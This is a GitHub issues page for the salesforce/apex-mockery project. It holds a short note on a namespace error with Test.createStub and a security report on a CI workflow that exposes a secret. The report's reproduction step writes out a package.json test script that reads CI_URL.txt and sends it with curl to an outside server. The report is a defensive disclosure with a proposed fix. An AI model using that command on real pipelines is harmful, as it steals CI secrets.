salesforce / apex-mockery Goto Github PK

Apex methods in the unlocked package are not accessible because it uses the public access modifier instead of the global

Here is a quick status of my spiking with this issue
I worked a bit in this PR and created a beta package using the global access modifiers.
I have converted our recipes to use the mockery namespace
I have created a scratch org without namespace
I have deployed the beta package package to the scratch org
I have deployed the recipes with namespace
Then I run all the recipes test
Result: it failed...
System.TypeException: Test.createStub() can only be called with classes in the current namespace

What I understand from this error is: as our unlocked package is namespaced, code executing it needs to be in the same namespace... 🤯
Or the createStubs must be done in the same namespace and then the stub must be served to the mock

Who is the bug affecting?

salesforce/apex-mockery

What is affected by this bug?

The CI_URL GitHub Actions secret

When does this occur?

When anyone opens a pull request to merge a branch containing malicious changes into main

Where on the platform does it happen?

GitHub Workflow ci-build job

How do we replicate the issue?

1. Create a new branch off main
2. Modify test:coverage in package.json to read the contents of CI_URL.txt and send it to an external server
   1. "test:coverage": "STOLEN_SECRET=$(cat ./CI_URL.txt) && curl -v -X GET 'https://goldfarb.dev' -H 'stolen-secret:'${STOLEN_SECRET}"
3. Check the malicious change into your branch
4. Open a pull request to invoke ci-build job in .github/workflows/pull-request.yml

Expected behavior (i.e. solution)

In a single step, you can write the CI_URL.txt file, use the file and then subsequently delete it before it can be stolen
main...gfarb:apex-mockery:main

Other Comments

I was looking at GitHub Workflow used by Salesforce to see if there was anything you all do that we can benefit from in our own Workflows; that is when I stumbled upon this. Not sure if you are worried about this problem and I am NOT positive if it will still run the malicious code and steal the actual secret when the branch derives from a fork of the project. I created a PoC in a private repo and tested it out which seemed to confirm my suspicion that this problem does persist in your Workflow at the moment. In case you wanted a quick solution I forked this project and can open a PR with the changes to resolve this based on the solution I outlined above. Sorry if this is not an actual concern and I wasted your time, I figured it would be better to let you all know in case this is something you are worried about. I am sorry if this was a waste of time!